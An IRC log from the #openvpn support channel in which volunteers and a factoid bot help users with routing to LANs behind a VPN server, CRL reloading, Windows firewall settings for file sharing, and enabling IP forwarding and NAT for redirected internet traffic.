10:15 < cippaciong> let's say I just entered my LAN unsing the VPN and I have ip 10.8.0.6
10:15 < cippaciong> and in my LAN PCs has 192.168.0.X ip
10:15 < cippaciong> how can I ping/do anything with them?
10:16 < cippaciong> If I ping the server with 192.168.0.9 (the server ip) it doesn't work
10:16 < cippaciong> but if I use 10.8.0.1 then it works
10:19 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:21 -!- cippaciong [~cippacion@95.236.151.104] has quit [Remote host closed the connection]
10:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 240 seconds]
10:23 -!- cippaciong [~cippacion@95.236.151.104] has joined #openvpn
10:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:26 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:34 < rob0> !serverlan'
10:34 < rob0> !serverlan
10:34 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
10:34 < rob0> see the flowchart
10:37 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
10:39 < cippaciong> thanks rob0
10:40 < cippaciong> OT isn't vpnHelper supposed to give me those messages also querying it?
10:41 < rob0> I'm not sure. Probably, but you'd have to do something like "/msg vpnHelper whatis #openvpn serverlan"
10:41 < rob0> (not tested)
10:42 < rob0> !factoids
10:42 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:42 < cippaciong> thanks again
10:42 < rob0> ^^ might be of interest
10:42 < cippaciong> btw the msg method works
10:43 < rob0> cool
10:46 < cippaciong> I have to go now, I'll study a bit and then come back again :D
10:46 < cippaciong> thanks again rob0
10:46 -!- cippaciong [~cippacion@95.236.151.104] has quit [Quit: WeeChat 0.4.0]
10:51 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
10:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:00 -!- raidz_away is now known as raidz
11:02 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
11:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
11:32 -!- mode/#openvpn [+o plaisthos] by ChanServ
11:45 < jzaw> !route_outside_openvpn
11:45 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:49 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:49 < jzaw> !tunortap
11:49 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
11:49 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
12:02 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
12:02 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
12:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:02 -!- mode/#openvpn [+o krzee] by ChanServ
12:04 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:10 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
12:12 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
12:43 < Olipro> if you modify a CRL file, can OpenVPN 2.3 be SIGHUP/SIGUSR1'd to reload it?
12:47 < rob0> hmm, I would think that the CRL would be read for every new/renewed connection, not just at startup time
12:48 <@EugeneKay> I believe the CRL, like the rest of the x.509 stuff, is reloaded when you reinit(triggered by ping-restart or SIGUSR1), but I'm not sure
12:48 <@EugeneKay> Feel free to test
12:48 < pekster> Correct, if you have a --crl-verify updating the file takes effect right away
12:49 < pekster> However, remember that currently connected clients will *not* be disconnected (kill them manually via management or restart to kick everyone off) until the re-keying, done hourly by default
12:50 <@dazo> Olipro: IIRC ... the CRL should be re-read on each check, to ensure it's up-to-date ... I think that was what I found out when testing it many years ago, but my memory is a bit vague now
12:50 < Olipro> what about if a CRL'd client is already connected?
12:51 < Olipro> any way to have it re-read and bounce someone who's been revoked?
12:51 <@dazo> Olipro: again, IIRC, it does the CRL check on each re-negotiation
12:51 < Olipro> super
12:51 < Olipro> I'll get my PFY to test it later
12:55 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
12:56 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
12:57 < pekster> Olipro: My SOP for revoking a currently valid cert is to revoke, publish CRL, check status of server (status file or USR2 signal in logs) andn then use the management interface to 'kill' the connection if active. A temporary mitigating 'disable' entry can be put in the ccd file too, while you deal with the CRL stuff
13:01 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:02 -!- dazo is now known as dazo_afk
13:10 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
13:14 -!- epochwolf [~root@unaffiliated/epochwolf] has left #openvpn ["Textual IRC Client: http://www.textualapp.com/"]
13:14 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
13:23 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:24 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 264 seconds]
13:25 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
13:26 -!- mallxs [~mallxs@84.246.31.190] has quit [Quit: ChatZilla 0.9.90 [Iceweasel 10.0.12/20130119084230]]
13:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:39 -!- xbanux [~xbanux@triband-mum-59.182.175.131.mtnl.net.in] has quit [Ping timeout: 264 seconds]
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:01 < jzaw> pekster, as i rationalised the use of tcp ... should i really use tcp-delay also ?
14:01 < jzaw> how critical is that?
14:03 < pekster> --tcp-nolatency? It'll reduce latency at a possible slight reduction in theoretical efficiency (you've already given that up though using tcp anyway) and possibly perform worse in the face of packet loss due to "more" retransmits occurring
14:03 < pekster> Erm, --tcp-nodelay
14:20 < jzaw> yes sorry .. i was typing from memory hehe
14:21 < jzaw> i guess i could do some empirical tests for voip and see how udp tunnels fare
14:22 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
14:24 < hrenovo> greetings. What rule should be enabled in windows 7 firewall for file and printer sharing over openvpn adapter. I eanbled to allow all rules listed in inbound rules for file and printer sharing in win7 firewall, but still can't acces it when the firewall is turned on.
14:24 < hrenovo> ideas ?
14:26 < pekster> You're better off asking in a channel specalizing in Windows configuration, or Windows-centric forms. IIRC, there's a builtin firewall rule for "Printer & File Sharing" or something similar
14:27 < hrenovo> yeah I can see file and printer sharing in the list of inbound firewall rules
14:28 < hrenovo> many of them were disabled meaning it was blocked
14:28 < hrenovo> I enabled all of them, but still can't access shares
14:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:32 < hrenovo> pekster: the problem is that openvpn installs the adapter on a public interface
14:32 -!- penk [~dave@static-66-137-171-68.axsne.net] has joined #openvpn
14:32 < hrenovo> it should be installed as a private network, but not public
14:32 < hrenovo> that' is the main problem
14:33 < penk> hi folks, does anyone know where the connect log on a mac is for the openvpn client?  I'm tryign to connect ot my openvpn server and all I get is a Growl popup "Error" "Connect error"
14:33 < penk> i just reinstalled my mac, other users are fine.  this is just local to me.
14:34 < pekster> hrenovo: So change it
14:34 < hrenovo> pekster: how can I change it ?
14:34 < pekster> This channel isn't really going to be of use if you need networking support under Windows
14:34 < pekster> The control pannel network thingy under Windows OS's lets you change pretty much all of that
14:34 < rob0> s/This channel/IRC/ :)
14:35 < pekster> Failing that, there's usually an ill-documented netsh or API interface to it as well. Google-fu would be a better bet, or whine on msdn if you don't find it in an hour of searching
14:38 < hrenovo> why does openvpn default installation puts the openvpn adapter into public network instead of private. ?
14:38 < pekster> Windows default? At least the OS is starting to grow up (baby steps) and provide you slightly more security unless you work to reduce that
14:40 < pekster> It's not OpenVPN's place to set up your OS for you: that's your job
14:40 < pekster> Just like it won't automatically open your ipf or netfilter firewall, it won't do Windows OS setup for you either
14:41 <@EugeneKay> Because Public is the only sane default
14:41 <@EugeneKay> Windows network location selection is notoriously insane; don't read toofar into it
14:42 <@EugeneKay> You can fiddle about in the registry if you really want
14:42 < pekster> penk: Tunnelblick? It's been a while since I ran that (no Macs here at present, so my info is a few releases out of date) but it should either give you a UI menu to view the log, or perhaps put it somewhere under ~/Library, IIRC
14:42 < penk> nah, this was opehnvpn connect
14:42 < penk> i got it, i needed to force uninstall and reinstall
14:43 < pekster> You want #openvpn-as for the commercial closed-source stuff. We deal with the GPL OpenVPN code/project specifically
14:45 <@EugeneKay> I can't find the writeup on it now
14:45 <@EugeneKay> But it isn't pretty
14:47 < pekster> I did some interesting hacks to avoid the so-called "dnscache" trick. I wrote about it on the user ML years back, but no one seemed to be interested in a more minimal solution, choosing to prefer stopping/starting services instead; I guess you can kill flies with a sledgehammer too :)
14:48 < pekster> (IIRC that wasn't actually a caching issue at all, but a domain search suffix list that didn't auto-update on interface changes properly. Fun times.)
14:49 < pekster> Apple's dnsctl looked like a work of art by comparison
14:50 < hrenovo> public is the only sane place to put it to? Maybe its private that is the only sane place
14:50 < hrenovo> vpn should work like lan
14:50 < hrenovo> and lan is on private network, not private by default
14:50 < rob0> A sledgehammer can indeed kill a fly, but as likely as not some other fly than the one you intended to kill. :)
14:50 < hrenovo> so excuse me , no , public is not "the only" sane place
14:50 < pekster> hrenovo: For your usecase, perhaps. What if I'm connecting to a paid service and don't want to open my network up to random other people to print to?
14:50 -!- MaynardWaters [~asdfjkl@c-71-238-30-69.hsd1.mi.comcast.net] has joined #openvpn
14:51 < MaynardWaters> hey I came in here for help a few days ago, I am having trouble connecting to my vpn
14:51 < pekster> hrenovo: If an OS decides to open my PC up to (ab)use/attack by other connections, I'd call that insane and broken
14:51 < MaynardWaters> http://pastebin.com/ids2Y4HE
14:51 < MaynardWaters> can anyone offer some advice as to what might be the problem
14:52 <@EugeneKay> hrenovo - as a network security expert, no, Private is not a good default. Period. If you have a problem with this assessment, feel free to become a government contractor.
14:53 < pekster> MaynardWaters: Your TCP connection was reset, line 284 on that paste
14:54 < rob0> Connection reset, restarting (twice)
14:54 < MaynardWaters> pekster: I dont have that problem on my windows machine running openvpn right next to this ubuntu box
14:54 < pekster> OpenVPN cannot work when the peer closes the network socket. The peer logs might have more details, but that's occurring 11 seconds after connection was established
14:54 < rob0> Why are you using TCP? We don't know what reset the connection. It could have been something outside of openvpn. UDP might be better in your case.
14:55 < MaynardWaters> I did not set up the vpn, I believe TCP is the default set there, but I am unsure.
14:55 < rob0> it's a bad default, it's not openvpn's default
14:56 < MaynardWaters> well since I dont believe I have control over it, lets focus on the things I can change
14:57 < rob0> We still don't know what reset the connection. It could have been something outside of openvpn.
14:57 <@EugeneKay> !both
14:57 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
14:57 < hrenovo> EugeneKay: okay so public network is more secure than private?
14:57 <@EugeneKay> hrenovo - as far as the windows firewall defaults are concerned, yes.
14:57 <@EugeneKay> Always assume the other guy is out to get you
14:58 < hrenovo> so i've been doing some reading on how to change openvpn adapter from public to private, and it turns that that you can't
14:58 < hrenovo> because there is no gateway
14:58 < MaynardWaters> EugeneKay: my issue seems resolvable since I am using the same config files on windows with openvpn, and I do not have any problems there. so to me that means that i just need to figure out what the difference in settings are between my windows and my linux, and make the linux more like the windows, does this make sense to anyone?
14:58 <@EugeneKay> MaynardWaters - it makes logical sense, but without more info we can't give you much
14:59 < MaynardWaters> so the more info that we all agree is needed is what is resetting the connection
14:59 <@EugeneKay> hrenovo - yup, that's how Windows networking is set up. You can push a dummy route with a high metric to fake a gateway(that will never get used) tho
14:59 < rob0> check firewalls
14:59 <@EugeneKay> Or the registry trick which I can't seem to google up today
14:59 < MaynardWaters> since the connection doesnt get reset on my other machine, it seems safe to assuming it is on my local machine
14:59 < MaynardWaters> rob0: was that directed at me?
15:00 < pekster> hrenovo: You can change it just fine, at least on Vista (IIRC 7 is the same way, but I don't have 7 here to test)
15:00 < hrenovo> EugeneKay: would you happen to know which frewall rule win7 needs exactly for file sharing ?
15:00 < pekster> hrenovo: The "Network and Sharing Center", just like I said
15:00 <@EugeneKay> hrenovo - no clue what sort of file sharing you want. SMB?
15:01 <@EugeneKay> And not off hand, no. I don't memorize those port #s :-p
15:01 < hrenovo> EugeneKay: no, just regular cifs windows 7 to windows 7 on openvpn tap interface. Both win7 are vpn clients.
15:01 <@EugeneKay> SMB = CIFS
15:02 < hrenovo> I thought smb is samba, which is service you install on linux and share files on CIFS protocol to make them accessable by windows machines
15:03 < pekster> EugeneKay: FYI, I can change the public/private thing without a gateway on my tun adapter
15:03 <@EugeneKay> SMB and CIFS are two acronyms for the same thing. Samba is an implementation thereof for *nix systems.
15:03 < rob0> SMB is the predecessor of CIFS. Samba implements both.
15:03 < pekster> I just need to connect it first
15:05 <@EugeneKay> pekster - nifty. It's still crap way to detect it.
15:05 < pekster> Yup
15:05 < hrenovo> its just said that this is so difficult to share a folder on a windows vpn client
15:05 < hrenovo> sad*
15:05 <@EugeneKay> Fun fact: you can override the network location detection if your box is connected to AD, by setting up the subnet as a domain subnet.
15:06 < pekster> Oh, cute. :(
15:06 <@EugeneKay> Yup. Hence why I can't find the registry hack on my box - I don't need it.
15:07 < hrenovo> and there is no documentation on how to do it
15:08 < pekster> Really? Took me 30 seconds to search the web for this: http://www.home-network-help.com/simple-file-sharing.html
15:08 <@vpnHelper> Title: Enabling Simple File Sharing in Windows Vista (at www.home-network-help.com)
15:08 < pekster> Try harder.
15:19 < hrenovo> no
15:19 < hrenovo> this guide is not any help
15:19 < hrenovo> all the file and printer sharing is already enabled for openvpn adapter
15:20 < hrenovo> I can access shares on vpn adapter when firewawll is turned off
15:20 < hrenovo> its a firewall setting
15:20 < hrenovo> I just don't know which
15:20 < hrenovo> I wrote some details here https://forums.openvpn.net/topic12494.html
15:20 <@vpnHelper> Title: OpenVPN Support Forum Windows 7 Firewall settings for File Sharing on VPN Adapter : Server Administration (at forums.openvpn.net)
15:23 -!- tcamuso_ [tcamuso@nat/redhat/x-baiqpapqcpburuam] has quit [Ping timeout: 264 seconds]
15:54 <@krzee> hrenovo, that shows its not a openvpn issue
15:55 < hrenovo> krzee: ok its not, its windows fireall. You are 100% right. If I ask on windows forums or #windows they have no idea how to help me
15:56 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
15:56 <@krzee> aww i didn't mean he had to gtfo, lol
15:56 <@krzee> just thought ild point out that its !notovpn lol
15:58 < rob0> If you don't know how to run Windows, find a better OS.
15:58 <@krzee> s/If you don't know how to run//
15:58 <@krzee> :D
15:58 < rob0> It's not hard. Just about any OS qualifies.
15:59 < rob0> maybe not DOS, but FreeDOS is sort of interesting :)
16:00 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
16:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
16:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:13 -!- master_o1_master [~master_of@p4FF24AE2.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
16:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:20 -!- master_of_master [~master_of@p4FF24672.dip.t-dialin.net] has joined #openvpn
16:20 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 264 seconds]
16:21 -!- dave [~dave@static-66-137-171-68.axsne.net] has joined #openvpn
16:22 -!- dave is now known as Guest27261
16:23 -!- penk [~dave@static-66-137-171-68.axsne.net] has quit [Read error: Connection reset by peer]
16:23 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:26 -!- Guest27261 [~dave@static-66-137-171-68.axsne.net] has quit [Ping timeout: 248 seconds]
16:26 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
16:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:53 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
17:00 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
17:04 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
17:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:15 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:18 -!- matt_ [~matt@mlpc.wiltshire.ac.uk] has joined #openvpn
17:19 < matt_> hello, i'm having problems attempting to get passtos to have any effect, I can see a tos value of 0x10 on the openvpn tap device but i dont see it on the outside
17:20 < matt_> has anybody had any issues with this before? I am not using user or group statements and I have seen passtos = ENABLED in the logs
17:20 < matt_> this is on the client side and i'm using openvpn version 2.2.2
17:21 -!- brute11k [~brute@89.249.231.53] has quit [Quit: Leaving.]
17:24 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
17:26 -!- tcamuso_ [~tcamuso@pool-71-161-82-88.cncdnh.east.myfairpoint.net] has joined #openvpn
17:30 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has quit [Quit: ocean pulls me close her whispers in my ear the destiny have chose all becoming clear the currents have their say the time is drawing near washes me away makes me dissapear i decend from grace in arms of undertow i will take my place in the great below]
17:31 -!- benkay [~benkay@c-71-237-161-120.hsd1.or.comcast.net] has joined #openvpn
17:32 < benkay> !goal ping through vpn to external web and to other nodes on vpn
17:33 < benkay> so! I have my vpn up and running, certs and keys distributed appropriately, but when I actually do the thing and connect to the vpn server (with all local traffic routed through the vpn with redirect-gateway def1), everything times out. and I mean everything.
17:34 < benkay> which is relatively good, because it shows that things are wired up appropriately, but there's something borked on the server because it seems that packets go to the server to die.
17:34 < benkay> which, undesirable.
17:34 < benkay> does anyone have any suggestions on how to diagnose where the pipe is breaking down?
17:36 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
17:36 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
17:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:36 -!- mode/#openvpn [+o krzee] by ChanServ
17:36 < kisom> benkay: Firewall issue, or your server is not routing properly.
17:36 < kisom> Can you ping the servers VPN IP address?
17:36 <@krzee> kisom, pan behind server?
17:37 <@krzee> lan*
17:37 < kisom> krzee: Huh?
17:37 < benkay> can't ping, but can ssh into server and open vpn connection to server
17:37 <@krzee> whats his problem?  with that first step I'm betting theres a flowchart for it
17:37 < benkay> kisom
17:38 <@krzee> oh, ya thats firewell
17:38 <@krzee> firewall*
17:39 < benkay> talking to me krzee?
17:39 <@krzee> ya
17:39 < benkay> but not in between my box and vpn server box, but between vpn server box and rest of webz?
17:42 < benkay> brb redirecting network traffic over broken vpn
17:44 -!- benkay [~benkay@c-71-237-161-120.hsd1.or.comcast.net] has quit [Quit: benkay]
17:45 -!- benkay [~benkay@c-71-237-161-120.hsd1.or.comcast.net] has joined #openvpn
17:49 <@krzee> benkay, you can't ping the vpn ip of the server, but can ssh to the vpn ip of the server… right?
17:50 < benkay> I have to ssh from my company's util box to the client box, but yes.
17:50 < benkay> (because whitelisting)
17:50 < benkay> but the vpn connection works fine. that's not whitelisted.
17:50 < benkay> er, whitelist-filtered.
17:51 < benkay> however we say that.
17:51 <@krzee> i have no idea what you're saying
17:51 <@krzee> what ip can you not ping?
17:51 < benkay> I can't ssh to the client box directly, as my ip is not on the ssh whitelist.
17:51 < benkay> I cannot ping the vpn server IP.
17:52 <@krzee> the vpn servers PUBLIC or VPN ip?
17:52 < benkay> public.
17:52 < benkay> what's the difference?
17:52 <@krzee> the difference is HUGE
17:52 <@krzee> and in this case, it can be any firewall in between your machines, and has nothing to do with openvpn
17:53 < benkay> is the "vpn ip" the address the internal network sees the vpn server on?
17:54 <@krzee> post your server config and ill tell you the vpn ip
17:54 < benkay> cool and thanks! half a sec.
18:00 -!- benkay [~benkay@c-71-237-161-120.hsd1.or.comcast.net] has quit [Ping timeout: 260 seconds]
18:01 -!- benkay_ [~benkay@130.sub-97-50-230.myvzw.com] has joined #openvpn
18:01 < benkay_> still working on it.
18:04 < benkay_> would that be the local directive?
18:05 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Operation timed out]
18:06 <@krzee> !configs
18:06 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:07 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
18:08 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
18:09 < benkay_> http://dpaste.com/hold/1030655/
18:09 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
18:09 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
18:09 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
18:10 <@krzee> 10.8.0.1 is your vpn server ip
18:10 <@krzee> your first client will be .6 then .10 then .14 and so on
18:10 < rob0> eww, /30
18:10 <@krzee> line 15 will give you a problem
18:11 -!- tyteen4a- [tyteen4a03@69.50.229.69] has quit [Read error: Operation timed out]
18:11 -!- benkay_ is now known as benkay
18:12 < benkay> what will happen?
18:13 <@krzee> not sure, never sent 2 args to --group
18:13 <@krzee> maybe an error on parsing, maybe it can't find the group "no"
18:14 < benkay> ah i see.
18:14 <@krzee> make sure --group matches a group
18:14 <@krzee> and --user matches a user
18:14 <@krzee> heh
18:14 < benkay> that was actually a typo in my dpaste-ing
18:15 < benkay> would you confirm something for me: I should still be connecting to the "public" ip, correct?
18:15 <@krzee> that config will change nothing about that
18:16 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:16 < benkay> yup! just confirming my hunces.
18:16 < benkay> hunches*
18:21 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
18:22 <@krzee> benkay, when you want the connection to the server to be secured by the vpn, you connect to 10.8.0.1
18:24 -!- SuperGauntlet [~supergaun@d14-69-67-219.try.wideopenwest.com] has joined #openvpn
18:25 < SuperGauntlet> This is a noob question but can anyone point me towards a way to setup openvpn so that I can access the outside internet? Currently I can access the LAN but not the WAN
18:25 < SuperGauntlet> I'm sure it's a forwarding problem or something but I'm just not sure how to fix it
18:25 < SuperGauntlet> !welcome
18:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
18:25 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:25 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
18:25 <@krzee> SuperGauntlet, you want to redirect your internet over the vpn?
18:25 < rob0> !redirect
18:25 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:25 <@vpnHelper> http://ircpimps.org/redirect.png
18:26 < rob0> see the flowchart
18:26 < SuperGauntlet> haha you guys have all of this aliased?
18:26 < SuperGauntlet> You probably get these questions a lot. Thanks.
18:26 <@krzee> same questions everyday for years ;]
18:26 < rob0> we ... yes.
18:26 < SuperGauntlet> I bet that could be infuriating. Sorry for contributing to the tidal wave e.e
18:27 < SuperGauntlet> So I put --redirect-gateway local in /etc/openvpn/server.conf, correct?
18:27 < SuperGauntlet> Or does it go in client.conf?
18:28 < rob0> it's typically a push command from the server
18:28 < SuperGauntlet> !def1
18:28 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
18:28 <@krzee> i think its better in the client
18:28 <@krzee> dunno why people typically put it in server as push
18:29 <@krzee> then their clients come in here saying "how do i bypass redirect-gateway getting pushed at me?"
18:29 < SuperGauntlet> So I add 'redirect-gateway' in client.conf/ovpn?
18:29 < SuperGauntlet> lol
18:29 < rob0> hehe
18:29 <@krzee> yep, with optional flags to redirect-gateway as seen in the manual
18:29 <@krzee> !man
18:29 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
18:29 < SuperGauntlet> rtfm indeed
18:31 < benkay> krzee: 10.8.0.1 is inside the vpn, right? i'm a little confused at the idea that I'd connect to an ip inside the vpn to connect to the vpn
18:31 < rob0> benkay, ? You misunderstand something, not sure what.
18:32 < SuperGauntlet> oh wow that worked
18:32 < benkay> "when you want the connection to the server to be secured by the vpn, you connect to 10.8.0.1"
18:32 < SuperGauntlet> when has it *ever* been that simple
18:32 <@krzee> benkay, once you are on the vpn, it only gives you a connection to the server over the vpn (unless you told it otherwise)
18:32 <@krzee> benkay, the vpn connection doesn't magically encrypt everything, only traffic destined by your routing table to flow over the vpn
18:33 < rob0> If you want to USE the vpn, you connect to the VPN IP. You connect openvpn itself to the outside IP.
18:33 < SuperGauntlet> wait, nope, doesn't work now. oh boy
18:33 <@krzee> SuperGauntlet, did you read ALL the instructions?
18:33 <@krzee> !redirect
18:33 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:33 <@vpnHelper> http://ircpimps.org/redirect.png
18:33 < SuperGauntlet> I'm just working through it.
18:33 <@krzee> 3 things to do, only 1 is in the openvpn config
18:34 < SuperGauntlet> I tried the first thing and it appeared to work but didn't. Pinging 8.8.8.8 produces 100% packet loss
18:34 <@krzee> what os is the server?
18:35 < SuperGauntlet> ubuntu minimal
18:35 <@krzee> !linnat
18:35 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
18:35 <@krzee> !linipforward
18:35 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
18:35 < SuperGauntlet> so use iptables
18:35 < SuperGauntlet> where's sysctl.conf?
18:36 <@krzee> its your os...
18:36 < SuperGauntlet> Sorry, thought you knew
18:36 <@krzee> do, but not spoonfeeding
